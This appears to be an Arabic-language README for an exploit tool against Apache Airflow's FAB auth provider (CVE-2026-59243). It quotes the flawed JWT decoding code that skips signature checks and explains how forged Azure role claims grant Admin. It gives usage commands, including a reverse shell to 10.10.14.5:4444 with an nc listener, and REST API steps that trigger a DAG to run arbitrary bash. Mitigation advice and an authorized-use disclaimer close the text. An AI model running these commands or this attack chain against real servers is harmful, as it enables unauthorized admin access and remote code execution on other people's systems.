
استغلال لثغرة تجاوز مصادقة OAuth في FAB الخاص بـ Apache Airflow (CVE-2026-59243) يحقق وصولاً بصلاحيات المسؤول وتنفيذًا عن بُعد للشفرة البرمجية عبر تشغيل DAG مُصمَّم خصيصًا من خلال REST API.
تجاوز مصادقة في موفر مدير المصادقة FAB الخاص بـ Apache Airflow (apache-airflow-providers-fab)، مما يؤدي إلى تنفيذ أوامر عن بُعد عبر DAG مُشغَّل.
يقوم الموفر بفك ترميز id_token الخاص بـ Azure OAuth مع تعطيل التحقق من التوقيع افتراضيًا (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
تُربط المطالبات (claims) مباشرةً بالهوية — oid → اسم المستخدم، roles → role_keys — وتحوّل AUTH_ROLES_MAPPING مطالبة roles=["Azure-Admins"] إلى دور Admin. وبما أنه لا يتم التحقق من توقيع الرمز أو مُصدِره أو جمهوره (audience) أبدًا (CWE-347)، يمكن للمهاجم الذي يُكمل تدفق OAuth أن يسجّل الدخول بصفته Admin دون أي بيانات اعتماد حقيقية. ويمكن للمسؤول بعد ذلك تشغيل DAG ينفّذ أوامر عشوائية.
apache-airflow-providers-fab < 3.7.3 (مع apache-airflow >= 3.0.2)3.7.3 (تم تغيير السلوك الافتراضي إلى verify_signature=True؛ يُتحقَّق من الرمز مقابل JWKS الخاص بـ Microsoft)8080 (واجهة Airflow + REST API)لا يتطلب الأمر سوى المكتبة القياسية للغة Python 3. يجب أن يحتوي الهدف على مدير مصادقة FAB مع موفر Azure OAuth الضعيف المُهيأ، و(لخطوة RCE) DAG تنفّذ مهمتها dag_run.conf المتحكَّم فيه من المهاجم.
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) باستخدام حاوية ملفات تعريف الارتباط (cookie jar). يقبل FAB الرمز id_token غير الموقَّع/المزوَّر ويسجّل الدخول بصفته Admin، مع تعيين ملف تعريف ارتباط session وملف تعريف ارتباط _token (JWT الذي تتوقعه REST API).POST /api/v2/dags/<dag>/dagRuns (مع Bearer _token) مع {"conf":{"cmd":"..."}} لتفعيل DAG ينفّذ فيه BashOperator الأمر dag_run.conf['cmd']. واستخدم logical_date فريدًا لكل تشغيل (فالزوج (dag_id, logical_date) فريد في قاعدة بيانات البيانات الوصفية).تعيد الأداة أيضًا كتابة مضيف الاسترجاع (loopback) في إعادة توجيه authorize الخاصة بـ OAuth ليشير إلى الهدف، وبذلك تعمل ضد هدف بعيد يُعلَن عن IdP الخاص به في إعدادات الخادم على أنه 127.0.0.1.
يعتمد الاستغلال على خلل التحقق من الرمز. يتطلب الوصول إلى Admin أن يُنتج تدفق OAuth رمزًا بمطالبة roles مرتفعة — وهو أمر يسير عندما يمكن التأثير على IdP أو الرمز، لأن Airflow لا يتحقق من التوقيع أبدًا. تفترض خطوة RCE وجود DAG ينفّذ dag_run.conf (وهو نمط شائع)؛ وإلا فمن الممكن استغلال وصول Admin عبر ميزات Airflow الأخرى.
قم بترقية apache-airflow-providers-fab إلى ≥ 3.7.3؛ لا تربط أبدًا مطالبات أدوار OAuth المُدَّعاة خارجيًا مباشرةً بدور Admin؛ لا تشغّل Airflow بصلاحيات الجذر (root)؛ أبقِ واجهة المستخدم/API بعيدة عن الشبكات غير الموثوقة.
للاستخدام في الاختبارات الأمنية المصرَّح بها والأغراض التعليمية فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.